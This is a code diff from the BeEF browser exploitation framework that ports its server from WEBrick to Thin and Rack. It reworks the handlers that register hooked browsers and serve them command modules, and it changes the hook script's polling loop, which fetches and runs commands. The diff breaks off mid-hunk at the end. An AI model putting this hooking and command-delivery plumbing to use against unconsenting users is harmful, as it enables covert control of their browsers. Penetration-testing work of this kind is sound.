rewrote the server core and adjusted the API/classes to use Thin and Rack instead of WebRick.
This commit is contained in:
@@ -33,20 +33,18 @@ module Server
|
||||
|
||||
# Mounts a handler
|
||||
# @param [String] url URL to be mounted
|
||||
# @param [Boolean] hard whether or not it is a hard mount
|
||||
# @param [Class] http_handler_class the handler Class
|
||||
# @param [Array] args an array of arguments
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.mount(url, hard, http_handler_class, args = nil)
|
||||
BeEF::Core::Server.instance.mount(url, hard, http_handler_class, *args)
|
||||
def self.mount(url, http_handler_class, args = nil)
|
||||
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
|
||||
end
|
||||
|
||||
# Unmounts a handler
|
||||
# @param [String] url URL to be unmounted
|
||||
# @param [Boolean] hard whether or not it is a hard mount
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.unmount(url, hard)
|
||||
BeEF::Core::Server.instance.unmount(url, hard)
|
||||
def self.unmount(url)
|
||||
BeEF::Core::Server.instance.unmount(url)
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
# @note Include here all the gems we are using
|
||||
require 'rubygems'
|
||||
require 'webrick'
|
||||
require 'webrick/httpproxy'
|
||||
require 'thin'
|
||||
require 'dm-core'
|
||||
require 'dm-migrations'
|
||||
require 'json'
|
||||
|
||||
@@ -23,7 +23,7 @@ beef.updater = {
|
||||
// Low timeouts combined with the way the framework sends commamd modules result
|
||||
// in instructions being sent repeatedly or complex code.
|
||||
// If you suffer from ADHD, you can decrease this setting.
|
||||
timeout: 10000,
|
||||
timeout: 1000,
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
@@ -62,7 +62,7 @@ beef.updater = {
|
||||
get_commands: function(http_response) {
|
||||
try {
|
||||
this.lock = true;
|
||||
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
|
||||
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
|
||||
if (response.body != null && response.body.length > 0)
|
||||
beef.updater.execute_commands();
|
||||
});
|
||||
|
||||
@@ -116,8 +116,8 @@ module Core
|
||||
|
||||
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
|
||||
# @param [Hash] http_params HTTP parameters
|
||||
# @param [Hash] http_header HTTP headers
|
||||
def build_callback_datastore(http_params, http_header)
|
||||
# @param [Hash] http_headers HTTP headers
|
||||
def build_callback_datastore(http_params, http_headers)
|
||||
@datastore = {'http_headers' => {}} # init the datastore
|
||||
|
||||
# get, check and add the http_params to the datastore
|
||||
@@ -129,9 +129,9 @@ module Core
|
||||
}
|
||||
|
||||
# get, check and add the http_headers to the datastore
|
||||
http_header.keys.each { |http_header_key|
|
||||
http_headers.keys.each { |http_header_key|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key)
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_headers[http_header_key][0])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value)
|
||||
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
@@ -38,9 +38,12 @@ module Handlers
|
||||
|
||||
# Initial setup function, creates the command module and saves details to datastore
|
||||
def setup()
|
||||
@http_params = @data['request'].query
|
||||
@http_header = @data['request'].header
|
||||
@http_header['referer'] ||= ''
|
||||
@http_params = @data['request'].params
|
||||
@http_header = Hash.new
|
||||
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
|
||||
.each {|key,value|
|
||||
@http_header[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
|
||||
# @note get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
|
||||
@@ -17,40 +17,36 @@ module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
|
||||
# @note This class handles connections from hooked browsers to the framework.
|
||||
class HookedBrowsers < WEBrick::HTTPServlet::AbstractServlet
|
||||
# @note This class handles connections from hooked browsers to the framework.
|
||||
class HookedBrowsers
|
||||
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
def initialize(config)
|
||||
@guard = Mutex.new
|
||||
end
|
||||
|
||||
# This method processes the http requests sent by a hooked browser to the framework. It will update the database to add or update the current zombie and deploy some command modules or plugins.
|
||||
# @param [Hash] request HTTP request object
|
||||
# @param [Hash] response HTTP response object
|
||||
# @todo Confirm return type of this function
|
||||
def do_GET(request, response)
|
||||
# Process HTTP requests sent by a hooked browser to the framework.
|
||||
# It will update the database to add or update the current hooked browser
|
||||
# and deploy some command modules or extensions to the hooked browser.
|
||||
def call(env)
|
||||
@body = ''
|
||||
@params = request.query
|
||||
@request = request
|
||||
@response = response
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body=[], 200, header={})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# @note check source ip address of browser
|
||||
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
|
||||
target_network = IPAddr.new(permitted_hooking_subnet)
|
||||
if not target_network.include?(request.peeraddr[3].to_s)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
|
||||
@response.set_error(nil)
|
||||
if not target_network.include?(@request.ip)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{@request.ip}) rejected.")
|
||||
@response = Rack::Response.new(body=[], 500, header={})
|
||||
return
|
||||
end
|
||||
|
||||
# @note get zombie if already hooked the framework
|
||||
hook_session_id = request.get_hook_session_id()
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_id = @request[hook_session_name]
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
|
||||
|
||||
# @note is a new browser so return instructions to set up the hook
|
||||
@@ -67,9 +63,9 @@ module Handlers
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
# @note Check for a change in zombie IP and log an event
|
||||
if hooked_browser.ip != @request.peeraddr[3].to_s
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.peeraddr[3].to_s}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = @request.peeraddr[3].to_s
|
||||
if hooked_browser.ip != @request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = @request.ip
|
||||
end
|
||||
|
||||
hooked_browser.count!
|
||||
@@ -84,17 +80,21 @@ module Handlers
|
||||
end
|
||||
|
||||
# @note set response headers and body
|
||||
response.set_no_cache
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
|
||||
response.body = @body
|
||||
@response = Rack::Response.new(
|
||||
body = [@body],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# @note alias do_POST function to do_GET
|
||||
alias do_POST do_GET
|
||||
|
||||
|
||||
private
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
|
||||
@@ -23,7 +23,7 @@ module NetworkStack
|
||||
# @param [Object] server HTTP server instance
|
||||
def self.mount_handler(server)
|
||||
# @note this mounts the dynamic handler
|
||||
server.mount('/dh', true, BeEF::Core::NetworkStack::Handlers::DynamicReconstruction)
|
||||
server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -41,18 +41,21 @@ module Handlers
|
||||
# @return [String] URL Path of mounted asset
|
||||
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
|
||||
def bind(file, path=nil, extension=nil, count=-1)
|
||||
url = buildURL(path, extension)
|
||||
url = build_url(path, extension)
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
|
||||
@http_server.mount(url, true, WEBrick::HTTPServlet::FileHandler, @allocations[url]['file'])
|
||||
@http_server.mount(url, Rack::File.new(@allocations[url]['file']))
|
||||
@http_server.remap
|
||||
print_info "File [" + "#{root_dir}"+file + "] bound to url [" + url + "]"
|
||||
return url
|
||||
url
|
||||
end
|
||||
|
||||
# Unbinds a file from a mount point
|
||||
# @param [String] url URL path of asset to be unbinded
|
||||
#TODO: check why is throwing exception
|
||||
def unbind(url)
|
||||
@allocations.delete(url)
|
||||
@http_server.unmount(url, true)
|
||||
@http_server.unmount(url)
|
||||
@http_server.remap
|
||||
end
|
||||
|
||||
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
|
||||
@@ -60,10 +63,10 @@ module Handlers
|
||||
# @param [String] extension Extension defined by bind()
|
||||
# @param [Integer] length The amount of characters to be used when generating a random URL
|
||||
# @return [String] Generated URL
|
||||
def buildURL(path, extension, length=20)
|
||||
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path;
|
||||
url += (extension == nil) ? '' : '.'+extension;
|
||||
return url
|
||||
def build_url(path, extension, length=20)
|
||||
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path
|
||||
url += (extension == nil) ? '' : '.'+extension
|
||||
url
|
||||
end
|
||||
|
||||
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
|
||||
@@ -84,7 +87,7 @@ module Handlers
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@@ -18,10 +18,8 @@ module Core
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note DynamicHanlder is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction
|
||||
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
@@ -29,28 +27,32 @@ module Handlers
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
# Combines packet information and pushes to PQ, then checks packets
|
||||
# @param [Object] request Request object
|
||||
# @param [Object] response Response object
|
||||
def do_POST(request, response)
|
||||
@request = request
|
||||
response.set_no_cache
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST'
|
||||
response.body = ''
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST'
|
||||
}
|
||||
)
|
||||
|
||||
PQ << {
|
||||
:beefhook => get_param(@request.query, 'bh'),
|
||||
:stream_id => Integer(get_param(@request.query, 'sid')),
|
||||
:packet_id => Integer(get_param(@request.query, 'pid')),
|
||||
:packet_count => Integer(get_param(@request.query, 'pc')),
|
||||
:data => get_param(@request.query, 'd')
|
||||
:beefhook => @request['bh'],
|
||||
:stream_id => Integer(@request['sid']),
|
||||
:packet_id => Integer(@request['pid']),
|
||||
:packet_count => Integer(@request['pc']),
|
||||
:data => @request['d']
|
||||
}
|
||||
check_packets()
|
||||
response
|
||||
end
|
||||
|
||||
# @note Alias do_GET function to do_POST
|
||||
alias do_GET do_POST
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
@@ -79,7 +81,7 @@ module Handlers
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = @request
|
||||
res['beefsession'] = @request.get_hook_session_id()
|
||||
res['beefsession'] = @request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
rescue JSON::ParserError => e
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
@@ -96,7 +98,7 @@ module Handlers
|
||||
def expunge(beefhook, stream_id)
|
||||
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
return packets.sort_by { |p| p[:packet_id] }
|
||||
packets.sort_by { |p| p[:packet_id] }
|
||||
end
|
||||
|
||||
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
|
||||
@@ -15,120 +15,49 @@
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Core
|
||||
|
||||
class Server
|
||||
class Server
|
||||
|
||||
include Singleton
|
||||
|
||||
# @note Grabs the version of beef the framework is deployed on
|
||||
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
|
||||
include Singleton
|
||||
|
||||
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
|
||||
|
||||
# Constructor starts the BeEF server including the configuration system
|
||||
def initialize
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
@command_urls = {}
|
||||
@mounts = {}
|
||||
end
|
||||
|
||||
# Returns all server variables in a hash. Useful for Erubis when generating the javascript for the command modules and hooking.
|
||||
# @return [Hash] BeEF info hash
|
||||
def to_h
|
||||
{
|
||||
'beef_version' => VERSION,
|
||||
'beef_url' => @url,
|
||||
'beef_root_dir' => @root_dir,
|
||||
'beef_host' => BeEF::Core::Configuration.instance.get('beef.http.host'),
|
||||
'beef_port' => BeEF::Core::Configuration.instance.get('beef.http.port'),
|
||||
'beef_dns' => BeEF::Core::Configuration.instance.get('beef.http.dns'),
|
||||
'beef_hook' => BeEF::Core::Configuration.instance.get('beef.http.hook_file')
|
||||
}
|
||||
end
|
||||
|
||||
# Returns command URL
|
||||
# @param [String] command_path Command path
|
||||
# @return [String] URL of command
|
||||
# @todo Unsure how @command_urls is populated, this command is possibly deprecated
|
||||
# @deprecated See note
|
||||
def get_command_url(command_path)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"command_path" needs to be a string' if not command_path.string?
|
||||
|
||||
if not @command_urls[command_path].nil?
|
||||
return @command_urls[command_path]
|
||||
else
|
||||
return command_path
|
||||
# @note Grabs the version of beef the framework is deployed on
|
||||
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
|
||||
|
||||
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore
|
||||
|
||||
def initialize
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
@command_urls = {}
|
||||
@mounts = {}
|
||||
@rack_app
|
||||
@semaphore = Mutex.new
|
||||
end
|
||||
end
|
||||
|
||||
# Starts the BeEF http server.
|
||||
def prepare
|
||||
if not @http_server
|
||||
config = {}
|
||||
config[:BindAddress] = @configuration.get('beef.http.host')
|
||||
config[:Port] = @configuration.get('beef.http.port')
|
||||
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
|
||||
config[:ServerName] = "BeEF " + VERSION
|
||||
config[:ServerSoftware] = "BeEF " + VERSION
|
||||
|
||||
@http_server = WEBrick::HTTPServer.new(config)
|
||||
|
||||
# Create http handler for the javascript hook file
|
||||
mount("#{@configuration.get("beef.http.hook_file")}", true, BeEF::Core::Handlers::HookedBrowsers)
|
||||
|
||||
# We dynamically get the list of all http handler using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)
|
||||
|
||||
def to_h
|
||||
{
|
||||
'beef_version' => VERSION,
|
||||
'beef_url' => @url,
|
||||
'beef_root_dir' => @root_dir,
|
||||
'beef_host' => @configuration.get('beef.http.host'),
|
||||
'beef_port' => @configuration.get('beef.http.port'),
|
||||
'beef_dns' => @configuration.get('beef.http.dns'),
|
||||
'beef_hook' => @configuration.get('beef.http.hook_file')
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# Starts the BeEF http server
|
||||
def start
|
||||
# we trap CTRL+C in the console and kill the server
|
||||
trap("INT") { BeEF::Core::Server.instance.stop }
|
||||
|
||||
# starts the web server
|
||||
@http_server.start
|
||||
end
|
||||
|
||||
# Stops the BeEF http server.
|
||||
def stop
|
||||
if @http_server
|
||||
# shuts down the server
|
||||
@http_server.shutdown
|
||||
|
||||
# print goodbye message
|
||||
puts
|
||||
print_info 'BeEF server stopped'
|
||||
end
|
||||
end
|
||||
|
||||
# Restarts the BeEF http server.
|
||||
def restart; stop; start; end
|
||||
|
||||
# Mounts a handler, can either be a hard or soft mount
|
||||
# @param [String] url The url to mount
|
||||
# @param [Boolean] hard Set to true for a hard mount, false for a soft mount.
|
||||
# @param [Class] http_handler_class Class to call once mount is triggered
|
||||
# @param args Arguments to pass to the http handler class
|
||||
def mount(url, hard, http_handler_class, args = nil)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
|
||||
raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class?
|
||||
|
||||
if hard
|
||||
if args == nil
|
||||
@http_server.mount url, http_handler_class
|
||||
else
|
||||
@http_server.mount url, http_handler_class, *args
|
||||
end
|
||||
print_debug("Server: mounted handler '#{url}'")
|
||||
else
|
||||
|
||||
# Mounts a handler, can either be a hard or soft mount
|
||||
# @param [String] url The url to mount
|
||||
# @param [Class] http_handler_class Class to call once mount is triggered
|
||||
# @param args Arguments to pass to the http handler class
|
||||
def mount(url, http_handler_class, args = nil)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
# raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class?
|
||||
|
||||
if args == nil
|
||||
mounts[url] = http_handler_class
|
||||
else
|
||||
@@ -136,27 +65,68 @@ module Core
|
||||
end
|
||||
print_debug("Server: mounted handler '#{url}'")
|
||||
end
|
||||
end
|
||||
|
||||
# Unmounts handler
|
||||
# @param [String] url URL to unmount.
|
||||
# @param [Boolean] hard Set to true for a hard mount, false for a soft mount.
|
||||
def unmount(url, hard)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
|
||||
|
||||
if hard
|
||||
@http_server.umount(url)
|
||||
else
|
||||
mounts.delete(url)
|
||||
|
||||
# Unmounts handler
|
||||
# @param [String] url URL to unmount.
|
||||
def unmount(url)
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
@mounts.delete(url)
|
||||
end
|
||||
|
||||
# Reload the URL map (used by the NetworkStack AssetHandler to mount new URLs at runtime)
|
||||
def remap
|
||||
@rack_app.remap(@mounts)
|
||||
end
|
||||
|
||||
#Prepare the BeEF http server.
|
||||
def prepare
|
||||
# Create http handler for the javascript hook file
|
||||
self.mount("#{@configuration.get("beef.http.hook_file")}", BeEF::Core::Handlers::HookedBrowsers.new)
|
||||
|
||||
# Dynamically get the list of all the http handlers using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)
|
||||
|
||||
# Rack mount points
|
||||
@rack_app = Rack::URLMap.new(@mounts)
|
||||
|
||||
if not @http_server
|
||||
if @configuration.get('beef.debug') == true
|
||||
# Thin::Logging.debug = true
|
||||
end
|
||||
@http_server = Thin::Server.new(
|
||||
@configuration.get('beef.http.host'),
|
||||
@configuration.get('beef.http.port'),
|
||||
@rack_app)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Starts the BeEF http server
|
||||
def start
|
||||
# we trap CTRL+C in the console and kill the server
|
||||
trap("INT") { BeEF::Core::Server.instance.stop }
|
||||
|
||||
# starts the web server
|
||||
@http_server.start
|
||||
end
|
||||
|
||||
# Stops the BeEF http server.
|
||||
def stop
|
||||
if @http_server
|
||||
# shuts down the server
|
||||
@http_server.stop
|
||||
trap("INT") { BeEF::Core::Server.instance.stop }
|
||||
# print goodbye message
|
||||
puts
|
||||
print_info 'BeEF server stopped'
|
||||
end
|
||||
end
|
||||
|
||||
# Restarts the BeEF http server.
|
||||
def restart
|
||||
stop
|
||||
start
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
@http_server
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -66,8 +66,6 @@ module Module
|
||||
class_symbol = BeEF::Core::Command.const_get(class_name)
|
||||
if class_symbol and class_symbol.respond_to?(:options)
|
||||
return class_symbol.options
|
||||
else
|
||||
print_debug "Module '#{mod}', no options method defined"
|
||||
end
|
||||
end
|
||||
return []
|
||||
@@ -126,7 +124,7 @@ module Module
|
||||
require config.get("beef.module.#{mod}.path")+'module.rb'
|
||||
if self.exists?(config.get("beef.module.#{mod}.class"))
|
||||
# start server mount point
|
||||
BeEF::Core::Server.instance.mount("/command/#{mod}.js", false, BeEF::Core::Handlers::Commands, mod)
|
||||
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
|
||||
BeEF::Core::Configuration.instance.set("beef.module.#{mod}.mount", "/command/#{mod}.js")
|
||||
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', true)
|
||||
print_debug "Hard Load module: '#{mod.to_s}'"
|
||||
|
||||
@@ -36,15 +36,16 @@ module API
|
||||
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each { |http_module|
|
||||
require http_module
|
||||
mod_name = File.basename http_module, '.rb'
|
||||
beef_server.mount("/ui/#{mod_name}", true, BeEF::Extension::AdminUI::Handlers::UI, mod_name)
|
||||
beef_server.mount("/ui/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
|
||||
}
|
||||
|
||||
# mount the folder were we store static files (javascript, css, images) for the admin ui
|
||||
media_dir = File.dirname(__FILE__)+'/../media/'
|
||||
beef_server.mount('/ui/media', true, BeEF::Extension::AdminUI::Handlers::MediaHandler, media_dir)
|
||||
beef_server.mount('/ui/media', Rack::File.new(media_dir))
|
||||
|
||||
|
||||
# mount the favicon file
|
||||
beef_server.mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}")
|
||||
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -49,13 +49,15 @@ module AdminUI
|
||||
#
|
||||
def run(request, response)
|
||||
@request = request
|
||||
@params = request.query
|
||||
@params = request.params
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
auth_url = '/ui/authentication'
|
||||
|
||||
# test if session is unauth'd and whether the auth functionality is requested
|
||||
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
|
||||
response.set_redirect(WEBrick::HTTPStatus::Found, auth_url)
|
||||
@body = ''
|
||||
@status = 302
|
||||
@headers = {'Location' => auth_url}
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@@ -29,14 +29,14 @@ class Session
|
||||
def initialize
|
||||
set_logged_out
|
||||
@auth_timestamp = Time.new
|
||||
@id = BeEF::Core::Crypto::secure_token
|
||||
@nonce = BeEF::Core::Crypto::secure_token
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged in
|
||||
#
|
||||
def set_logged_in(ip)
|
||||
@id = BeEF::Core::Crypto::secure_token
|
||||
@nonce = BeEF::Core::Crypto::secure_token
|
||||
@ip = ip
|
||||
end
|
||||
|
||||
@@ -85,10 +85,10 @@ class Session
|
||||
# check if a valid session
|
||||
return false if not valid_session?(request)
|
||||
return false if @nonce.nil?
|
||||
return false if not request.request_method.eql? "POST"
|
||||
return false if not request.post?
|
||||
|
||||
# get nonce from request
|
||||
request_nonce = request.query['nonce']
|
||||
request_nonce = request['nonce']
|
||||
return false if request_nonce.nil?
|
||||
|
||||
# verify nonce
|
||||
@@ -106,17 +106,16 @@ class Session
|
||||
return false if @ip.nil?
|
||||
|
||||
# check ip address matches
|
||||
return false if not @ip.to_s.eql? request.peeraddr[3]
|
||||
return false if not @ip.to_s.eql? request.ip
|
||||
|
||||
# get session cookie name from config
|
||||
config = BeEF::Core::Configuration.instance
|
||||
session_cookie_name = config.get('beef.http.session_cookie_name')
|
||||
|
||||
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.http.session_cookie_name')
|
||||
|
||||
# check session id matches
|
||||
request.cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
|
||||
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
|
||||
}
|
||||
request
|
||||
|
||||
# not a valid session
|
||||
false
|
||||
|
||||
@@ -52,12 +52,12 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
password = @params['password-cfrm'] || ''
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
ua_ip = @request.peeraddr[3] # get client ip address
|
||||
ua_ip = @request.ip # get client ip address
|
||||
@body = '{ success : false }' # attempt to fail closed
|
||||
|
||||
# check if source IP address is permited to authenticate
|
||||
if not permited_source?(ua_ip)
|
||||
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
|
||||
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -70,7 +70,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
# check username and password
|
||||
if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') )
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -88,7 +88,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
# add session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfuly authenticated in the application.")
|
||||
@body = "{ success : true }"
|
||||
end
|
||||
|
||||
|
||||
@@ -22,41 +22,42 @@ module Extension
|
||||
module AdminUI
|
||||
module Handlers
|
||||
|
||||
class UI < WEBrick::HTTPServlet::AbstractServlet
|
||||
class UI
|
||||
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(config, klass)
|
||||
def initialize(klass)
|
||||
super
|
||||
@guard = Mutex.new
|
||||
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the request and forwards it to the controller
|
||||
#
|
||||
def do_GET(request, response)
|
||||
@request = request
|
||||
@response = response
|
||||
|
||||
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
@response = Rack::Response.new(env)
|
||||
|
||||
controller = nil
|
||||
|
||||
controller = @klass.new
|
||||
controller.run(@request, @response)
|
||||
|
||||
response.header.replace(controller.headers)
|
||||
response.body = controller.body.to_s
|
||||
|
||||
@response = Rack::Response.new(
|
||||
body = [controller.body],
|
||||
status = controller.status,
|
||||
header = controller.headers
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
|
||||
@request
|
||||
@response
|
||||
|
||||
alias do_POST do_GET
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -24,13 +24,9 @@ module Demos
|
||||
def self.mount_handler(beef_server)
|
||||
# mount the handler to support the demos
|
||||
dir = File.dirname(__FILE__)+'/html/'
|
